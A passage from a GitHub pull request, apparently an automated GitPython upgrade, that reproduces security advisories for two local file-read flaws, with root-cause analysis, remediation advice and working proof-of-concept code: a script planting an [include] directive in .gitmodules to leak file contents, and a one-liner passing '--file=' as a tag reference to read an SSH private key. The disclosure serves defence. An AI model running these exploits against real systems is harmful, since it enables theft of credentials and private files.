  • Victim clones (or otherwise opens with GitPython) a repository whose .gitmodules is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for).
  • Victim performs any operation that touches repo.submodules — one of the most ordinary GitPython operations, requiring no submodule update/init/checkout.
  • No authentication/role requirement inside GitPython itself.
Evidence
  • git/config.pyGitConfigParser.__init__ defaults merge_includes=True.
  • git/objects/submodule/base.py:273SubmoduleConfigParser(fp_module, read_only=read_only) passes neither merge_includes nor repo=; git blame shows this call unchanged since the class was introduced, and git show 41ecc6a4 confirms that commit touched only git/repo/base.py's Repo.config_writer(), never this call site.
  • git/config.py _included_paths()/read() (~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs() short-circuit); no repository-boundary containment check exists anywhere in this path.
  • git/config.py _read() (~493-498) — raises cp.MissingSectionHeaderError(fpname, lineno, line) with the raw file line embedded, matching Python stdlib configparser's own __str__ behavior.
  • Submodule.iter_items() catches only (IOError, BadName)configparser.Error (the base of MissingSectionHeaderError) is not swallowed.
  • PoC (gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from + list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and /etc/passwd.
False-positive check (adversarial re-read)
  • Is this the same bug as GHSA-hmq2-w58f-27jc? No — that advisory is about the .gitmodules submodule name driving _module_abspath/os.makedirs() (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the [include] directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).
  • Is this the same bug as GHSA-cwvm-v4w8-q58c (blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in git/refs/symbolic.py's ref-name resolution feeding Repo.commit/tree/index.diff — an entirely different module and code path. This finding discloses actual file content via git/config.py's include-directive resolution.
  • Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard clone_from + list(repo.submodules) workflow.
  • Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading Submodule.iter_items()'s exception handling, which catches only IOError/BadName; configparser.MissingSectionHeaderError propagates uncaught.
  • Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and /etc/passwd.
Remediation

Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.

Confidence

High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).

Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.

Run:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>

Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys

def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
    target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")

    attacker_repo = os.path.join(workdir, "attacker-repo")
    dest = os.path.join(workdir, "dest")
    for p in (attacker_repo, dest):
        os.makedirs(p, exist_ok=True)

    if not os.path.exists(target_file):
        os.makedirs(os.path.dirname(target_file), exist_ok=True)
        with open(target_file, "w") as f:
            f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")

    subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
    subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
    subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)

    with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
        f.write("hello\n")

    with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
        f.write(
            '[submodule "totally-normal-dep"]\n'
            "\tpath = vendor/dep\n"
            "\turl = https://example.com/dep.git\n"
            "[include]\n"
            "\tpath = %s\n" % target_file
        )

    subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
    subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)

    import git  # gitpython under test
    import configparser

    repo = git.Repo.clone_from(attacker_repo, dest)

    try:
        subs = list(repo.submodules)
        print("NOT VULNERABLE: no exception raised, submodules =", subs)
        sys.exit(1)
    except configparser.MissingSectionHeaderError as e:
        msg = str(e)
        print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
        print(msg)
        with open(target_file) as f:
            first_line = f.readline().rstrip("\n")
        if first_line in msg:
            print("Confirmed: target file's first line is present verbatim in the exception message.")
            sys.exit(0)
        else:
            print("NOT VULNERABLE: exception message did not contain the expected content")
            sys.exit(1)

if __name__ == "__main__":
    main()

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)

CVE-2026-78679 / GHSA-3wxw-xv34-2frg

More information

Details

Summary

TagReference.create() forwards a caller-influenced positional reference value into git tag without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit 3af0c251 (the fix for GHSA-3f7w-8rr8-f37f's tag instance).

Root Cause

The fix 3af0c251 added unsafe_git_tag_options = ["--file","-F"] and a guard call, but the guard is Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...) at git/refs/tag.py:139 — it passes an EMPTY args list and inspects kwargs only. The dangerous values path and reference are POSITIONALS (args = (path, reference), tag.py:156), placed before any --. A user-influenced reference="--file=<path>" therefore reaches git tag as the exact --file option the fix intended to block, creating an annotated tag whose message is the file's contents.

Impact

Arbitrary local file read at the privileges of the host process; contents returned in-band via tagref.tag.message. Requires the embedding application to forward a caller-influenced reference value into TagReference.create() (pure VALUE control — the CVE-2026-42215 threat model). Default allow_unsafe_options=False.

Proof of Concept
from git import TagReference
t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa")
print(t.tag.message)   # contents of the file
Attack Chain
  1. Entry: app calls TagReference.create(repo, name, reference=<user>) with reference="--file=/home/app/.ssh/id_rsa".
  2. Check: Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"]) @​ tag.py:137-141. Guard: denylist includes --file/-F. Bypass proof: _option_candidates receives args=[] → the positional reference is never a candidate (the kwarg spelling file="…" IS blocked; only the positional escapes).
  3. Sink: repo.git.tag(*args, **kwargs) @​ tag.py:158 → no --. argv (observed): ['git','tag','-f','vpwn','--file=<secret>'].
  4. Impact: annotated tag created; tagref.tag.message == file contents (arbitrary file read).
Bypass Evidence

Independently reproduced (independent test harness, git 2.43.0, default allow_unsafe_options=False): TagReference.create(repo,'vp','--file=<secret>') → PASSED; tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'. Control: TagReference.create(..., file='<secret>')UnsafeOptionError: --file is not allowed. Fix-commit read: 3af0c251 adds _option_candidates([], kwargs) (empty args → positional never a candidate).

Affected Versions

GitPython <= 3.1.58 (sink present verbatim on the latest release tag; git diff 3.1.57..HEAD touches only test files).

Suggested Fix

Include the positional reference (and path) in the option-candidate list passed to check_unsafe_options, or place a -- separator before the positional arguments in TagReference.create().


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

Note

PR body was truncated to here.

@renovate
renovate Bot requested a review from a team as a code owner September 9, 2026 11:24
@renovate renovate Bot added dependencies Pull requests that update a dependency file Skip Changelog PRs that do not require a CHANGELOG.md entry labels Sep 9, 2026
@xrmx xrmx closed this Sep 10, 2026
@renovate

renovate Bot commented Sep 10, 2026

Copy link
Copy Markdown
Contributor Author

Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update (==3.1.59). You will get a PR once a newer version is released. To ignore this dependency forever, add it to the ignoreDeps array of your Renovate config.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.

@renovate
renovate Bot deleted the renovate/pypi-gitpython-vulnerability branch September 10, 2026 07:12
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file Skip Changelog PRs that do not require a CHANGELOG.md entry

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

1 participant